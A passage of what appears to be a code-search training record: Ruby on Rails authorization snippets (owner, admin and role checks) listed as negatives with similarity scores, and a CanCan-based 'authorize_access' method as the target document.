Failsafe: If any funny business is going on, log and redirect\n #routing_error\n #end\n end", "def check_allowed\n unless $allowed_users.include?(current_user.email)\n flash[:alert] = \"That information is not available.\"\n redirect_to :action => 'welcome', :controller => 'info'\n end\n end", "def check_owner\n if current_user != Checklist.find(params[:format]).user\n flash[:notice] = \"Trying to be cheeky are we? You cannot modify a task that's not yours!\"\n redirect_to '/'\n end\n end", "def check_if_current_user\r\n User.current_user && User.current_user != self\r\n end", "def check_if_user_access\n if current_user && current_user.admin?\n @all_orders = Order.all\n @orders = @all_orders.paginate(page: params[:page])\n elsif current_user && current_user.role == \"Partner\"\n redirect_to root_path\n flash[:danger] = I18n.t 'flash.your_company_not_verified'\n elsif current_user && current_user.role == \"Client\"\n @all_orders = @user_company.orders\n @orders = @all_orders.paginate(page: params[:page])\n else\n end\n end", "def permitted?\n appctrl_not_permitted() if ( @current_user.restricted? )\n end", "def check_user\n if current_user.nil?\n render status: :forbidden, json: false\n return\n end\n end", "def check_post_owner\n json_response({ error: 'Not authorized' }, :unauthorized) unless @post.user_id == current_user.id\n end", "def filter_self\n if @user && !current_user.can_edit?(@user)\n respond_to do |format|\n format.html {\n render :nothing => true, :status => 403\n }\n format.json {\n render :json => {:status => 'failure'}, :status => 403\n }\n end\n end\n end", "def user_permissions\n if user_signed_in? && (current_user.is_logistics? || current_user.is_clerical? || current_user.is_vendor? || current_user.is_customer?)\n authorize! :edit, Element\n end\n end", "def is_valid?\n self.current_user && (self.user == self.current_user || self.current_user.admin?)\n end", "def self_edit_only\n #if current_user.id != Integer(params[:id]) && !current_user.is_admin\n if !can_edit\n redirect_to user_url, :notice => \"You don't have permission to do that.\"\n else\n end\n end", "def authorize!\n Ability.allowed?(context[:current_user], :read_milestone, parent) || raise_resource_not_available_error!\n end", "def user_permitted_to_edit(item)\n item.user == current_user \n end", "def resource_active_for_authentication?\n !@resource.respond_to?(:active_for_authentication?) || @resource.active_for_authentication?\n end", "def can?\n current_user\n end", "def required_resource_access\n return @required_resource_access\n end", "def show \n #if current_user.company_id == @user.company_id \n authorize @user \n end", "def check_user_background\n self.status = Status::PENDING_ADMIN_ACTION if offender && offender.new_user?\n end", "def user_is_allowed_to(action, resource)\n unless logged_in?\n redirect_to \"/login?return_url=\" + URI.encode(request.fullpath)\n return false\n end\n\n @user = logged_in_user\n unless @user.is_allowed(resource, action)\n @error = \"You don't have permission to #{action} #{resource}\"\n @return_url = request.fullpath\n render :template => \"caboose/extras/error\"\n return false\n end\n return true\n end", "def check_if_admin\n unless current_user.is_admin?\n render json: {\"errors\" => [\"Inaccessible Resource\"]},\n status: :unauthorized\n return\n end\n end", "def user_is_current\n fetch_user\n\n unless current_user?(@user)\n flash[:error] = t(:not_authorized)\n redirect_to root_path\n end\n end", "def manageable?(user)\n self == user || user&.admin?\n end", "def show\n @resource = Resource.find(params[:id])\n @tags = Tagging.for_resource(params[:id])\n if current_user.role?(:reentrant)\n @referred = @resource.referred?(current_user.reentrant)\n else\n @referred = false\n end\n end", "def owner_of(resource)\n id == resource.user_id ? true : false\n end", "def require_same_user\n if current_user != @recipe.chef and !current_user.admin?\n flash[:danger] = \"You can only edit your own recipes\"\n redirect_to recipes_path\n end\n \n end", "def permission_required \n render_403 unless admin? || @item.is_editable_by?(current_user)\n end", "def correct_user\n render_forbidden unless current_user?(@user)\n end", "def is_current_user?\n current_user && current_user.id == params[:id]\n end", "def check_resource\n\t\t\tif student_signed_in?\n\t\t\t\tif \"#{resource_name}\" == \"lecturer\" or \"#{resource_name}\" == \"teaching_assistant\"\n\t\t\t\t\tredirect_to :root\n\t\t\t\tend\n\t\t\telsif lecturer_signed_in?\n\t\t\t\tif \"#{resource_name}\" == \"student\" or \"#{resource_name}\" == \"teaching_assistant\"\n\t\t\t\t\tredirect_to :root\n\t\t\t\tend\n\t\t\telsif teaching_assistant_signed_in?\n\t\t\t\tif \"#{resource_name}\" == \"lecturer\" or \"#{resource_name}\" == \"student\"\n\t\t\t\t\tredirect_to :root\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def user_can_edit?\n current_user == @list.user\n end", "def check_rights\n unless is_app_authorizer?\n logger.warn 'User is not lea or sea admin and cannot access application authorizations'\n raise ActiveResource::ForbiddenAccess, caller\n end\n end", "def permitted?(resource, privilege, options = {})\n resource = cast(resource, :resourceid)\n # NOTE: in previous versions there was 'kind' passed separately. Now it is part of id\n self[\"?check&resource_id=#{query_escape resource}&privilege=#{query_escape privilege}\"].get(options)\n true\n rescue RestClient::ResourceNotFound\n false\n end", "def verify_on_current_user\n render_401 unless params[:id].to_i == current_user.id\n end", "def rights_back_request_is_visible?(project, current_user)\n if ! Figaro.env.rights_back_request_accounts\n return false\n end\n\n if(project.enable_rights_request)\n allowed_user_list = Figaro.env.rights_back_request_accounts\n allower_users = allowed_user_list.split(' ')\n\n if(allower_users.include?(current_user.nickname))\n return true\n end\n end\n\n false\n end", "def updatable_by?(user)\n return true if user.has_role?(:admin, resource.unit)\n return true if user.has_role?(:wizard, resource.unit)\n user == resource\n end", "def check_current_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user) || is_manager_or_admin?\n end", "def check_auth\n @slot.user == (current_user ) or raise AccessDenied\n end", "def verify_client_belongs_to_user\n return if @resource_for_web_app.is_admin?\n not_found(\"client does not belong to user\") if @resource_for_web_app.id.to_s != params[:id]\n end", "def can_access?(user)\n user == self.user\n end", "def needs_authenticate_user?\n except_actions = %w[index show]\n !except_actions.include?(action_name)\n end", "def check_user\n unless @user == current_user\n flash[:alert] = \"You don't have permission to access this page.\"\n redirect_to root_path\n end\n end", "def current_user?(user)\n (user == self.current_user) || admin?\n end" ]
[ "0.75220776", "0.7280885", "0.7205381", "0.7129503", "0.71083885", "0.70416296", "0.6992293", "0.69898707", "0.69209075", "0.6856839", "0.6771319", "0.67674065", "0.6732081", "0.6716401", "0.6706421", "0.6704076", "0.66965", "0.6696417", "0.6660515", "0.6652633", "0.6641228", "0.6539584", "0.65239596", "0.65211844", "0.65211844", "0.65146846", "0.65125674", "0.6481123", "0.6471111", "0.6462595", "0.645628", "0.64546686", "0.6447243", "0.6437599", "0.64348704", "0.64037037", "0.6398061", "0.639001", "0.6389673", "0.63881236", "0.63858443", "0.6381534", "0.6377609", "0.63724315", "0.6368047", "0.6361536", "0.6357218", "0.6350238", "0.6346175", "0.6342786", "0.6339641", "0.63332963", "0.6331566", "0.632919", "0.6325857", "0.6325579", "0.6325579", "0.63236207", "0.6321723", "0.6316392", "0.6307118", "0.6303283", "0.63027555", "0.63013107", "0.62956417", "0.6295555", "0.6287999", "0.62879413", "0.62774485", "0.6275795", "0.6269876", "0.6266729", "0.626365", "0.6262585", "0.62622905", "0.62456036", "0.62424076", "0.62421095", "0.6239949", "0.6226803", "0.622302", "0.6219981", "0.6218722", "0.6213884", "0.621359", "0.6208246", "0.6206614", "0.6204559", "0.6203487", "0.62029415", "0.62020034", "0.62018543", "0.62006944", "0.61958736", "0.61941344", "0.61937946", "0.61936146", "0.6193479", "0.6192324", "0.6190407", "0.6182516" ]
0.0
-1
Use this authorise method to change authorize_resource cancan if object has query string parameter
def authorize_access(url,param_value=nil) user = User.find(current_user.id) # if @split_tax_and_non_tax_transaction == 1 if param_value.present? if param_value.to_s == 'x' || param_value.to_s == 'l' || param_value.to_s == 'm' status = authorize_url("/#{url}?tt=#{param_value.to_s}") elsif param_value.is_a? Integer status = authorize_url("/#{url}?type=#{param_value.to_i}") else status = authorize_url("/#{url}") end else status = authorize_url("/#{url}") end # else # status = authorize_url("/#{url}") # end if status == false raise CanCan::AccessDenied end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def authorize_resource(*args); end", "def authorize_access\r\n # authorize!(action_name.to_sym, \"#{controller_name}_controller\".camelcase.constantize)\r\n end", "def authorize_resource\n EffectiveResources.authorize!(self, action_name.to_sym, resource)\n end", "def authorize_inherited_resource!\n authorize! :show, parent if parent?\n authorize! authorizable_action, authorize_resource? ? resource : resource_class\n end", "def pundit_authorize\n authorize [:admin, @testimonial||:testimonial]\n end", "def authorize\n end", "def authorize\n end", "def authorize(record, query = nil)\n super\n record\n end", "def authorize_edit\n authorize! :edit, @opportunity\n end", "def authorize\n return_unauthorized unless current_user && current_user.can_modify_user?(params[:id])\n end", "def authorize_users\n authorize :user\n end", "def authorize!(action, object)\n if can?(action, object)\n true\n else\n raise Kant::AccessDenied, \"You are not permitted to #{action} this record.\"\n end\n end", "def edit\n authorize @user_information\n end", "def edit\n authorize @car\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def authorize_admin!\n authorize! :manage, :all\n end", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def set_resource\n @course = Course.find(params[:id])\n authorize @course\n end", "def authorize_manage_obj_content!\n authorize! :manage_content, @object\n end", "def authorize\n super(:projects, projects_url)\n end", "def authorize_author\n redirect_to '/login' unless self.user_access > 1 || current_user.access == 3\n end", "def show \n #if current_user.company_id == @user.company_id \n authorize @user \n end", "def authorize\n params[:access_token] ||= params[:oauth_token]\n super\n end", "def authorize_access\n # byebug\n redirect_to root_path, alert: \"Access Denied\" unless can? :modify, Post\n end", "def authorize?(_user)\n true\n end", "def authorize?(_user)\n true\n end", "def authorize (permission_name)\n self.allowances.detect {|a| a.permission.name == permission_name.to_s}\n end", "def authorize_admin\n authorize! :update, convention.events.new\n end", "def authorize\n if current_permission.allow?(params[:controller], params[:action], current_resource)\n # Authorized\n else\n session[:return_to] = request.original_url\n redirect_to login_url, error: (current_user ? t('authorization.error') : t('authorization.not_signed_in'))\n end\n end", "def edit\n @car = Car.find(params[:id])\n\n if current_user.admin == true\n authorize @car\n end\n\n\n authorize @car\n end", "def access_control(object = nil)\n if object.present? && @cur_user.present?\n author = author?\n end\n perm = Permission\n perm.getReq(params[:controller], params[:action], request.request_method)\n redirect t('redirect.denied') unless perm.grant?(user_perm, author)\n end", "def authorize_params\n super.tap do |params|\n options[:authorize_options].each do |k|\n params[k] = request.params[k.to_s] unless [nil, ''].include?(request.params[k.to_s])\n end\n end\n end", "def authorize_user\n if @user.nil? and not current_user.is_a? AdminUser\n # TODO check if we can rewrite the URL and scope the resources\n # only for the current_user, instead of redirecting\n redirect_to root_url\n end\n end", "def authenticate_spraycan\n authorize! :admin, Spraycan::ViewOverride\n end", "def show\n authorize User\n end", "def show\n authorize User\n end", "def set_student\n @student = Student.find params[:id]\n authorize @student\n end", "def edit\n authorize! :update, @user\n end", "def authorize?(user)\n true\n end", "def authorize \n self.make 'authorization' \n end", "def authorize_params\n super.tap do |params|\n %w(scope team redirect_uri).each do |v|\n if !request.params[v].to_s.empty?\n params[v.to_sym] = request.params[v]\n end\n end\n log(:debug, \"Authorize_params #{params.to_h}\")\n end\n end", "def user_action_on_resource_authorized\n end", "def authorize\n render json: { error: 'You are not authorized to modify this data'} , status: 401 unless current_user && current_user.can_modify_user?(params[:id])\n end", "def authorize\n render json: { error: 'You are not authorized to modify this data'} , status: 401 unless current_user && current_user.can_modify_user?(params[:id])\n end", "def permitted_to! (privilege, options = {} )\n options = {\n :user => Authorization.current_user,\n :object => self\n }.merge(options)\n\nlogger.debug \"Checking for: #{self.class.name}\"\n\n Authorization::Engine.instance.permit!(privilege,\n {:user => options[:user],\n :object => options[:object]})\n end", "def authorize_access_to(obj)\n unless authorized?(obj)\n raise Repia::Errors::Unauthorized\n end\n end", "def edit\n authorize! :edit, @user, :id => current_user.id\n end", "def edit\n authorize @category\n end", "def set_scope\n if (scope = params[:scope])\n if @resource.respond_to?(scope)\n @resource = @resource.send(scope)\n else\n not_allowed\n end\n end\n end", "def set_and_authorize_like\n @like = Like.find(params[:id])\n authorize @like, \"#{action_name}?\".to_sym\n end", "def authorize_create!(change_set:)\n if change_set.append_id.present?\n authorize! :update, query_service.find_by(id: Array(change_set.append_id).first)\n else\n authorize! :create, resource_class\n end\n end", "def authorize\n action = {:controller => params[:controller], :action => params[:action]}\n allowed = User.current.allowed_to?(action, project = nil, options={:global => true})\n allowed ? true : deny_access\n end", "def authorize\n action = {:controller => params[:controller], :action => params[:action]}\n allowed = User.current.allowed_to?(action, project = nil, options={:global => true})\n allowed ? true : deny_access\n end", "def authorize_controller!\n authorize! action_name.to_sym, full_controller_name\n end", "def authorized_for(options)\n action = options.delete(:auth_action) || options[:action]\n object = options.delete(:auth_object)\n user = User.current\n controller = options[:controller] || params[:controller]\n controller_name = controller.to_s.gsub(/::/, \"_\").underscore\n id = options[:id]\n permission = options.delete(:permission) || [action, controller_name].join('_')\n\n if object.nil?\n user.allowed_to?({ :controller => controller_name, :action => action, :id => id }) rescue false\n else\n authorizer = options.delete(:authorizer) || Authorizer.new(user)\n authorizer.can?(permission, object) rescue false\n end\n end", "def authorize_user\n if @user.present?\n # Pass the object @user to Pundit to check against @current_user\n authorize @user\n else\n authorize_users\n end\n end", "def authorizer\n current_ability\n end", "def authorize_user!\n \n unless can?(:manage, @question)\n flash[:alert] = \"Access denied!\"\n redirect_to root_path\n end\n end", "def set_request\n @request = Request.find(params[:id])\n authorize @request\n end", "def set_course\n @course = Course.find(params[:id])\n authorize @course\n end", "def authorize_user\n redirect_to restrooms_path, flash: {message: \"You don't have permission to make changes to another user's profile.\"} unless current_user.admin? || @user == current_user\n end", "def authorise\n tmp_permission = @object_to_route_to.permission?\n if tmp_permission == \"yes\"\n permision_name = @pdt_method.method_name\n return @env.authorise(extract_actual_program_name(@pdt_method.program_name),permision_name,@user)\n elsif tmp_permission == nil\n return true\n else\n permision_name = tmp_permission\n return @env.authorise(extract_actual_program_name(@pdt_method.program_name),permision_name,@user)\n end\n\n end", "def authorize_resource\n authorize!(:disburse, @disbursement)\n @disbursement.experience_points_records.each do |record|\n authorize!(:create, record)\n end\n end", "def authorize_user\n unless @api_user.permit? params[:controller], params[:action]\n head :unauthorized and return\n end\n end", "def set_and_authorize_user_category\n @user_category = policy_scope(base_object).find(params[:id])\n authorize @user_category\n end", "def authorize(verb); send_or_default(\"authorize_#{verb}\",true) ; end", "def authorize!(action, object_or_class, parent, message = nil)\n access_denied!(message, action, object_or_class, parent) unless authorized?(action, object_or_class, parent)\n end", "def authorize_admin_profiles\n authorize convention, :view_attendees?\n end", "def find_borrowership\n @borrowership = @car.borrowerships.find(params[:id])\n authorize @borrowership\n end", "def authorize\n redirect_to '/login' unless current_user\n end", "def authorize(action, model_object = nil)\n raise Pundit::NotAuthorizedError unless authorized?(action, model_object)\n end", "def authorize\n render json: { error: 'You are not authorized to modify this data'} , status: 401 unless current_user && current_user.can_modify_blog?(params[:id])\n end", "def authorize_admin\n\t\tauthorize( ADMIN_USER_LEVEL ) \n\tend", "def authorize\n\t\tredirect_to '/login' unless current_user\n\tend", "def authorize\n render json: { status: 200, msg: 'You are not allowed to do this update' } unless current_user && current_user.can_modify_user?(params[:id])\n end", "def set_user\n @user = User.find(params[:user_id])\n authorize @user\n end", "def authorize(required_role)\n self.send required_role.to_sym\n end", "def show\n authorize! :update, Hospital\n end", "def check_auth\n authorize @equipment_listing\n end", "def set_resource\n @assignment = Assignment.find(params[:id])\n authorize @assignment\n end", "def show\n authorize @news_article\n end", "def authorize_action\n YamledAcl.init(current_user_group_name, params[:controller])\n allowed_to?(params[:action]) or raise(YamledAcl::AccessDenied)\n end", "def set_and_authorize_user_role\n @user_role = policy_scope(base_object).find(params[:id])\n authorize @user_role\n end", "def set_user\n @user = User.find(params[:id])\n authorize @user\n end", "def run_filters\n set_user\n authorize\n end", "def authorized?(resource)\n return false unless self.active\n # return true if role_authorized?('superuser') \n #OPTIMIZE: DO WE WANT THIS? It causes you to have access to all departments in all controllers, no matter what your permissions are.\n \n # return permission_strings.include?(resource) #reduced performance\n return permission_strings_cached.include?(resource) #causes caching bug\n end", "def only_authorize_admin!\n authorize!(is?(:admin))\n end", "def set_authorization\n @user ||= current_user\n authorize @user\n end", "def set_institution\n @institution = Institution.find params[:id]\n authorize @institution\n end", "def authorize_params\n\n # Trick shamelessly borrowed from the omniauth-facebook gem!\n super.tap do |params|\n %w[scope].each { |v| params[v.to_sym] = request.params[v] if request.params[v] }\n params[:scope] ||= DEFAULT_SCOPE # ensure that we're always request *some* default scope\n end\n end", "def volunteer_portal\n authorize! :volunteer_portal, :Reservation\n end", "def set_permit\n @vehiclepermit = Permit.find(params[:id])\n authorize @vehiclepermit\n end", "def set_internship\n @internship = Internship.find params[:id]\n authorize @internship\n end", "def edit\n @city = City.find(params[:id])\n authorize @city\n end", "def show\n authorize :resquest_type, :show?\n end", "def set_restaurant\n @restaurant = Restaurant.find(params[:id])\n # i will put it inside the set restaurant method instead of\n # the show bc then it will be called for all of the before\n # actions set in my controller - that way i wont need to put\n # it everywhere keeping the code DRY\n authorize @restaurant\n end", "def set_authorize_code\n @authorize_code = AuthorizeCode.find(params[:id])\n end", "def run_authorization_check\n if instance_authority_resource.is_a?(Array)\n # Array includes options; pass as separate args\n authorize_action_for(*instance_authority_resource)\n else\n # *resource would be interpreted as resource.to_a, which is wrong and\n # actually triggers a query if it's a Sequel model\n authorize_action_for(instance_authority_resource)\n end\n end", "def authorize_admin\n redirect_to root_path unless current.user.immortal?\n end", "def set_car\r\n @car = Car.find(params[:id])\r\n authorize @car\r\n end" ]
[ "0.73736644", "0.67596465", "0.66647476", "0.65768886", "0.65241265", "0.65162224", "0.65162224", "0.64994466", "0.6498702", "0.643495", "0.64326775", "0.6420728", "0.64088786", "0.62827724", "0.62812984", "0.62691534", "0.6244034", "0.62302434", "0.6226325", "0.6211437", "0.62052935", "0.61937165", "0.6179573", "0.6174859", "0.6172338", "0.6172338", "0.6171453", "0.6171317", "0.61680055", "0.6165413", "0.6162559", "0.6161385", "0.6154905", "0.6154396", "0.6103377", "0.6103377", "0.6098493", "0.6098032", "0.6094667", "0.6092847", "0.609101", "0.6079267", "0.60759765", "0.6067165", "0.6057565", "0.60563886", "0.60449946", "0.6034248", "0.60285735", "0.60264236", "0.6024658", "0.60024333", "0.60024333", "0.60004824", "0.5998301", "0.5985287", "0.5973274", "0.5951326", "0.59506315", "0.5946809", "0.5943692", "0.5932453", "0.59284854", "0.5925997", "0.5920491", "0.5902843", "0.5888742", "0.588761", "0.58864856", "0.5875987", "0.58649033", "0.5864026", "0.5862796", "0.5860202", "0.58571935", "0.5854027", "0.5843512", "0.58428323", "0.5842253", "0.5834053", "0.5832872", "0.58283234", "0.58246404", "0.58229345", "0.58186543", "0.58163434", "0.581413", "0.5811605", "0.58070964", "0.5805776", "0.58052015", "0.5805053", "0.58029944", "0.57995987", "0.57924765", "0.5791509", "0.57880807", "0.5786218", "0.57819283", "0.5780045" ]
0.59370476
61
only admins or team leads can swap duties
def swap? sid = record.duty_day.season_id user.has_role?(:admin) or user.has_role?(:leader, user.roster_spots.find_by(season_id: sid, team_id: record.duty_day.team_id)) or user.has_role?(:staff, user.roster_spots.find_by(season_id: sid)) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pass_on_double_kill_assignment(assassin_id, deceased_id)\n assassin_id = assassin_id.to_i\n deceased_id = deceased_id.to_i\n assassin_assignment = Player.find(assassin_id).assignments.where(:active => true).last\n deceased_assignment = Player.find(deceased_id).assignments.where(:active => true).last\n assassin_assignment.update_attributes(:active => false) if assassin_assignment\n deceased_assignment.update_attributes(:active => false) if deceased_assignment\n deceased_old_target_id = deceased_assignment.target_id if deceased_assignment\n assassin_old_target_id = assassin_assignment.target_id if assassin_assignment\n\n if assassin_old_target_id == deceased_id && deceased_old_target_id != assassin_id\n # give player with assassin as target the decaseds old target\n assignment_with_assassin_as_target = Assignment.where(:target_id => assassin_id, :active => true).last\n assignment_with_assassin_as_target.update_attributes(:active => false)\n new_assignment = Assignment.new(:player_id => assignment_with_assassin_as_target.player_id,\n :target_id => deceased_old_target_id,\n :active => true,\n :round_id => current_round.id)\n new_assignment.save\n elsif deceased_old_target_id == assassin_id && assassin_old_target_id != deceased_id\n # give player with decased as target the assisgin's old target\n assignment_with_deceased_as_target = Assignment.where(:target_id => deceased_id, :active => true).first\n assignment_with_deceased_as_target.update_attributes(:active => false)\n new_assignment = Assignment.new(:player_id => assignment_with_deceased_as_target.player_id,\n :target_id => assassin_old_target_id,\n :active => true,\n :round_id => current_round.id)\n new_assignment.save\n elsif assassin_old_target_id == deceased_id && deceased_old_target_id == assassin_id && Assignment.where(:active => true).empty?\n can_end, winner = current_round.can_end?\n if can_end\n current_round.end(false)\n end\n elsif assassin_old_target_id == deceased_id && deceased_old_target_id == assassin_id\n Rails.logger.info \"Double kill happened with both players having each other as assignment, two other assignments still exist\"\n # Do nothing, other assignments should be fine.\n end \n end", "def swap_role\n if role == \"player\"\n update! role: \"observer\"\n elsif role == \"observer\"\n update! role: \"player\"\n end\n end", "def org_swap?\n @user.can_super_admin?\n end", "def demoting_admin?(team_user)\n team_user.user&.admin? && new_role != \"owner\"\n end", "def org_swap?\n signed_in_user.can_super_admin?\n end", "def switch_players\n @player1_turn = !@player1_turn\n end", "def switch_user\n volunteer = Volunteer.find(params[:volunteer_id].to_i)\n volunteer_region_ids = volunteer.regions.pluck(:id)\n admin_region_ids =\n current_volunteer.assignments.collect do |assignment|\n assignment.admin ? assignment.region.id : nil\n end.compact\n\n unless current_volunteer.super_admin? || (volunteer_region_ids & admin_region_ids).length > 0\n flash[:error] = \"You're not authorized to switch to that user!\"\n return redirect_to(root_path)\n end\n\n sign_out(current_volunteer)\n sign_in(volunteer)\n flash[:notice] = \"Successfully switched to user #{current_volunteer.name}.\"\n home\n end", "def step_down\n @member = Member.find_by(band_id: params[:id], user_id: params[:user_id])\n @member.update!(is_admin: false)\n\n flash[:success] = \"You have stepped down as an admin.\"\n\n redirect_to band_url(params[:id])\n end", "def update_captain_and_eligibility(*)\n reload # SQL caching causing users to be empty when creating team making all teams ineligible\n set_team_captain\n update_eligibility\n end", "def manage_auditor_list(self_auditor_list, peer_auditor_list, user)\n\n lead_designer_assignments = {}\n self_auditor_list.each do |key, auditor|\n lead_designer_assignments[key] = (self.design.designer_id == auditor.to_i)\n end\n\n lead_peer_assignments = {}\n peer_auditor_list.each do |key, auditor|\n lead_peer_assignments[key] = (self.design.peer_id == auditor.to_i)\n end\n\n\n self_auditor_list.delete_if { |k,v| v.to_i == self.design.designer_id }\n peer_auditor_list.delete_if { |k,v| v.to_i == self.design.peer_id }\n\n audit_teammates = self.audit_teammates\n \n # Remove any teammates if the section has been reassign back to the lead\n teammate_list_updates = { 'self' => [], 'peer' => [] }\n audit_teammates.each do |audit_teammate|\n if ((audit_teammate.self? &&\n lead_designer_assignments[audit_teammate.section_id]) ||\n (!audit_teammate.self? &&\n lead_peer_assignments[audit_teammate.section_id]))\n\n key = audit_teammate.self? ? 'self' : 'peer'\n\n teammate_list_updates[key] << { :action => 'Removed ',\n :teammate => audit_teammate }\n audit_teammate.destroy\n end\n end\n\n # Go through the assignments and make sure the same person has\n # not been assigned to the same section for peer and self audits.\n self.clear_message\n self_auditor_list.each do |section_id, self_auditor|\n\n next if self_auditor == ''\n\n if ((self_auditor == peer_auditor_list[section_id]) ||\n (!peer_auditor_list[section_id] && self_auditor.to_i == self.design.peer_id))\n self.set_message('WARNING: Assignments not made <br />') if !self.message\n section = Section.find(section_id)\n auditor = User.find(self_auditor)\n self.set_message(' ' + auditor.name + ' can not be both ' +\n 'self and peer auditor for ' + section.name + '<br />',\n 'append')\n self_auditor_list[section_id] = ''\n peer_auditor_list[section_id] = ''\n end\n\n end\n\n self_auditor_list.each do |section_id, self_auditor|\n\n next if self_auditor == ''\n audit_teammate = audit_teammates.detect do |t|\n t.self? && t.section_id.to_i == section_id.to_i\n end\n\n if !audit_teammate\n audit_teammate = \n AuditTeammate.new_teammate(self.id, section_id, self_auditor, :self)\n teammate_list_updates['self'] << { :action => 'Added ',:teammate => audit_teammate }\n elsif audit_teammate.user_id != self_auditor.to_i\n old_teammate = \n AuditTeammate.new_teammate(self.id, section_id, audit_teammate.user_id, :self, false)\n audit_teammate.user_id = self_auditor\n audit_teammate.save\n audit_teammate.reload\n\n teammate_list_updates['self'] << { :action => 'Removed ', :teammate => old_teammate }\n teammate_list_updates['self'] << { :action => 'Added ', :teammate => audit_teammate }\n end\n\n end\n\n peer_auditor_list.each do |section_id, peer_auditor|\n \n next if peer_auditor == ''\n audit_teammate = audit_teammates.detect do |t|\n !t.self? && t.section_id.to_i == section_id.to_i\n end \n\n if !audit_teammate\n audit_teammate = \n AuditTeammate.new_teammate(self.id, section_id, peer_auditor, :peer)\n teammate_list_updates['peer'] << { :action => 'Added ',\n :teammate => audit_teammate }\n elsif audit_teammate.user_id != peer_auditor.to_i\n old_teammate =\n AuditTeammate.new_teammate(self.id, section_id, audit_teammate.user_id, :peer, false)\n audit_teammate.user_id = peer_auditor\n audit_teammate.save\n audit_teammate.reload\n \n teammate_list_updates['peer'] << { :action => 'Removed ', :teammate => old_teammate }\n teammate_list_updates['peer'] << { :action => 'Added ', :teammate => audit_teammate } \n end\n end\n\n if (teammate_list_updates['self'].size + teammate_list_updates['peer'].size) > 0\n \n self.set_message('Updates to the audit team for the ' +\n self.design.directory_name +\n ' have been recorded - mail was sent',\n 'append')\n \n self.reload\n AuditMailer::audit_team_updates(user,\n self,\n teammate_list_updates).deliver\n end\n\n end", "def is_not_on_staff\n #Team.find(:all) - self.teams\n Team.all - self.teams\n end", "def switch_players\n temp = @current_player\n @current_player = @opposing_player\n @opposing_player = temp\n end", "def switch_players\n if @current_player.name == @player1.name\n @current_player = @player2\n @other_player = @player1\n else \n @current_player = @player1\n @other_player = @player2\n end\n return\n end", "def switch_players\n \n if @current_asker == @player1\n @current_asker = @player2\n @current_responder = @player1\n else\n @current_asker = @player1\n @current_responder = @player2\n end\n\n end", "def test_drop_off\n @bus1.pick_up(@person)\n assert_equal(1, @bus1.number_passengers())\n @bus1.drop_off(@person)\n assert_equal(0, @bus1.number_passengers())\n end", "def switch_players \n @active_player, @inactive_player = @inactive_player, @active_player\n end", "def swap(one, two)\n if include? one\n exclude one\n add two\n else\n exclude two\n add one\n end\n end", "def test_unredact_way_normal_user\n way = create(:way, :with_history, :version => 2)\n way_v1 = way.old_ways.find_by(:version => 1)\n way_v1.redact!(create(:redaction))\n\n basic_authorization create(:user).email, \"test\"\n\n post :redact, :params => { :id => way_v1.way_id, :version => way_v1.version }\n assert_response :forbidden, \"should need to be moderator to unredact.\"\n end", "def swap_players\n\t @cur_player = @players.find { |player| player != @cur_player }\n\tend", "def standby_team(config); end", "def swap_gladiators\n temp = gladiators[0]\n @gladiators[0] = gladiators[1]\n @gladiators[1] = temp\n end", "def set_player_team!\n player.update!(team_name: team_name) if player.team_name != team_name\n piece.update!(team_name: team_name) if piece.team_name != team_name\n end", "def make_admin\n puts \"Creating Admin\"\n user = User.create!(:name => \"Admin\",\n :email => \"admin@home.no\",\n :password => \"adminpw\",\n :password_confirmation => \"adminpw\")\n user.toggle!(:admin)\n user.toggle!(:staff)\nend", "def test_unredact_way_unauthorised\n way = create(:way, :with_history, :version => 2)\n way_v1 = way.old_ways.find_by(:version => 1)\n way_v1.redact!(create(:redaction))\n\n post :redact, :params => { :id => way_v1.way_id, :version => way_v1.version }\n assert_response :unauthorized, \"should need to be authenticated to unredact.\"\n end", "def test_drop_passenger\n @bus.add_passenger(\"Jamie\")\n @bus.add_passenger(\"Steph\")\n @bus.drop_passenger(\"Steph\")\n assert_equal([\"Jamie\"], @bus.passengers)\n end", "def change_owner!(user_changing, user_to_be_changed)\n if(!user_changing.persisted? || super_admin != user_changing)\n raise SecurityError.new \"No Permissions\"\n end \n exist_user?(user_to_be_changed)\n if(super_admin != user_changing)\n ActiveRecord::Base.transaction do\n remove_user!(user_changing, user_to_be_changed)\n participants.create(user_id: user_changing.id, member_type: Course.roles[\"admin\"])\n update(super_admin: user_to_be_changed)\n end\n end\n\nend", "def pass_on_normal_assignment(assassin_id, deceased_id)\n assassin_assignment = Player.find(assassin_id).assignments.where(:active => true).last\n deceased_assignment = Player.find(deceased_id).assignments.where(:active => true).last\n assassin_assignment.update_attributes(:active => false) if assassin_assignment\n deceased_assignment.update_attributes(:active => false) if deceased_assignment\n deceased_old_target_id = deceased_assignment.target_id if deceased_assignment\n\n can_end, winner = current_round.can_end?\n if can_end\n current_round.end(Player.find(assassin_id))\n else \n\n new_assignment = Assignment.new(:player_id => assassin_id,\n :target_id => deceased_old_target_id,\n :active => true,\n :round_id => current_round.id)\n new_assignment.save\n safe_mail(\"new_assignment_email\", [Player.find(new_assignment.player_id), new_assignment])\n end\n end", "def leave_team\n @mutineer = User.find(params[:id])\n previousTeam = @mutineer.team_id\n usersOnOldTeam = User.where(team_id: previousTeam)\n\n usersOnOldTeam.each do |u|\n Bulletin.destroy_all(user_id: u.id, approval_pending: true)\n Approval.destroy_all(user_id: u.id)\n end\n\n if @mutineer.update_attributes(:team_id => nil)\n if User.find_by(team_id: previousTeam) == nil\n Team.destroy(previousTeam)\n redirect_to \"/teams/\"\n else\n redirect_to \"/teams/#{previousTeam}\"\n end\n #redirect_to \"/teams/\"\n else\n redirect_to \"/failure_page\"\n end\n end", "def swap_member(team)\n team1= team.keys.sample\n team2= team.keys.sample\n while(team2 == team1) do\n team2= team.keys.sample\n end\n student1_index = check_for_empty_teams(team, team1)\n # puts \"nil check4: \" + team[team1].inspect\n student2_index = check_for_empty_teams(team, team2)\n # puts \"nil check5: \" + student2_index.inspect\n if student1_index.nil?\n temp = nil\n else\n temp = team[team1][student1_index]\n end\n # puts \"nil check6: \" + 